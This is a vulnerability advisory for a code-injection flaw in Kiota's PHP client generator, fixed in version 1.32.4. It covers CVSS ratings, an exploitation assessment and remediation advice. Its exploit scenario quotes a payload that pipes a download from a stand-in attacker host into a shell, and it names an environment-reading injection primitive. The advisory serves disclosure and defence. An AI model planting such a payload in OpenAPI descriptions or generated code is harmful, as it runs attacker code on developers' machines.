EUVD-2026-44928Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Malicious OpenAPI description is network-deliverable (AV:N/AC:L/PR:N) but a developer must actively run the PHP generator (UI:R); code injection yields full C:H/I:H/A:H within the generated client.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.4, Kiota's PHP generator embedded OpenAPI description, default fields, property names, and other schema-derived strings into PHP double-quoted literals through SanitizeDoubleQuote() in Writers/StringExtensions.cs without escaping $, allowing attacker-controlled ${...}, $var, or {$obj->prop} interpolation constructs to inject arbitrary PHP code into generated model and request-builder classes. This issue is fixed in version 1.32.4.
AnalysisAI
{...}, $var, or {$obj->prop} are emitted verbatim inside PHP double-quoted literals and interpolated as code when the generated client runs. No public exploit identified at time of analysis, though the fix commit ships a test demonstrating the ${env('HOME')} injection primitive; EPSS and KEV data were not provided.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that a victim run Kiota's PHP generator (GenerationLanguage.PHP) against an OpenAPI description whose schema-derived strings - enum WireName/SerializationName values, request body content types, Accept header values, discriminator property names, or query-parameter serialization names - are controlled by the attacker and contain PHP interpolation syntax ($var, ${...}, or {$obj->prop}). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H, base 8.7 High) reflects a network-reachable, low-complexity, unauthenticated code-injection with full confidentiality/integrity/availability impact but a required user interaction - a developer must run Kiota against the attacker-controlled OpenAPI description. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes an OpenAPI description (e.g., on a public API directory or supplied to a partner) containing a property, enum value, or content-type string such as "${system('curl attacker/x|sh')}". A developer generates a PHP client from that description using a vulnerable Kiota version, and the unescaped construct is written into a generated model or request-builder class; when that generated code path executes, PHP interpolates and runs the attacker's expression. … |
| Remediation | Vendor-released patch: upgrade Kiota to version 1.32.4 or later, which introduces PhpConventionService.SanitizePhpDoubleQuoteLiteral() to escape $ in all PHP double-quoted literals (see advisory GHSA-jqwh-526h-c92j and release https://github.com/microsoft/kiota/releases/tag/v1.32.4). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all projects and systems using this PHP client generator and identify which generated clients are deployed to production. …
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External POC / Exploit Code
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